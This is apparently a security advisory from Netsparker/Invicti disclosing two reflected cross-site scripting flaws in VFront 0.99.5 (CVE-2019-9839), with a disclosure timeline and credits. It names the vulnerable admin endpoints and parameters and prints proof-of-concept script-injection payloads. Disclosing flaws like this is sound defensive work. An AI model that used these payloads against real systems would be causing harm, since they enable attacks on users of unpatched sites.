Multiple Reflected Cross-site Scripting Vulnerabilities in VFront 0.99.5


Advisory by Netsparker (now Invicti)
Name: Multiple Reflected Cross-site Scripting in VFront 0.99.5
Affected Software: VFront
Affected Versions: 0.99.5
Vulnerability: Reflected Cross-site Scripting
Severity: High
Status: Fixed
CVE-ID: CVE-2019-9839
CVSS Score (3.0): 7.4 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-19-002

Technical Details

URL: http://{domain}/{vfront_path}/admin/menu_registri.php
Parameter Name: descrizione_g
Parameter Type: POST
Attack Pattern: <scRipt>alert(0x00938D)</scRipt>

URL: http://{domain}/{vfront_path}/admin/sync_reg_tab.php?azzera=
Parameter Name: azzera
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0067C2)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

5th April 2019 – First Contact
16th May 2019 – Vendor Fixed
28th May 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Omer Citak while testing the Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.